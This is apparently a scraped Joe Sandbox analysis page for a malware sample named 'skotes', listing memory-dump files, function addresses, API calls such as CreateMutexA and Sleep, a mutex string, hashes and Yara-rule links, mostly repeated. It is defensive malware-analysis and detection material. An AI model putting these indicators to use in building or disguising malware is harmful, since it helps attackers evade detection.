Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 3d0669dc386ed184287e40db3e08f86731aacac158623cfd90a6981853f45b4d
Instruction ID: ebbb0f69568829628f8180650984c7d14fa837aa936ebb5cc217aa3eea27a663
Opcode Fuzzy Hash: 3d0669dc386ed184287e40db3e08f86731aacac158623cfd90a6981853f45b4d
Instruction Fuzzy Hash: F33146317042409BEB089B68DC89BEDBFB2FBD2314F248618E415E77D5C776A9808762

Function 005BA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA41B
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: dfceac55a0a4d9ecad96eae998afad1b8fa4b3d24a609212a3a8786908eca603
Instruction ID: a7d8bdbf4b17b389850c4bf8207707500a3f5e939e3e5bdb67664e0a8811aa9a
Opcode Fuzzy Hash: dfceac55a0a4d9ecad96eae998afad1b8fa4b3d24a609212a3a8786908eca603
Instruction Fuzzy Hash: DA312731B041409BEF18ABB8D88DBEDBEA2FFD1314F248218E055D72D6D77669808762

Function 005BA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA550
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: da6745bfad0fd89e2d36fbb74a31227bb1e516f7dd8855fb42888bfc022cb8d5
Instruction ID: be3eadd0dddbfe41141eccfb9785515ce671c10c7a69c0630d158ddd5a28b831
Opcode Fuzzy Hash: da6745bfad0fd89e2d36fbb74a31227bb1e516f7dd8855fb42888bfc022cb8d5
Instruction Fuzzy Hash: 3D312871B041408BEF18DB78DC89BEDBF62FBC5314F248618E455E72D6CB35AA808762

Function 005BA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA685
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 0162e12b9097c5347f35b9e834fcf17e383ddde1885823e66b8bb430fa020c24
Instruction ID: a9f7f9ccc9a57e03f09a1e42b0812ad271c8b75fe360dbe6a5d10b55187c02e7
Opcode Fuzzy Hash: 0162e12b9097c5347f35b9e834fcf17e383ddde1885823e66b8bb430fa020c24
Instruction Fuzzy Hash: E6312871B041409BEB18DB78DC89BEDBFB2FBC5310F248618E055D72D6CB7569808762

Function 005BA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA7BA
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 47fe82066c6e5d030d5eb6f9c4e3a1856f800e7b633e5f4e60f9792d9a4a2ccd
Instruction ID: 124330b85f223c48fbcb7e4228c5a1f36d5c8240ded1c12e9f8961476af6aea9
Opcode Fuzzy Hash: 47fe82066c6e5d030d5eb6f9c4e3a1856f800e7b633e5f4e60f9792d9a4a2ccd
Instruction Fuzzy Hash: A8312831B04100CBEB18DB78CD89BEDBF62FBC1310F248218E055E76D5DB366A818762

Function 005BA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
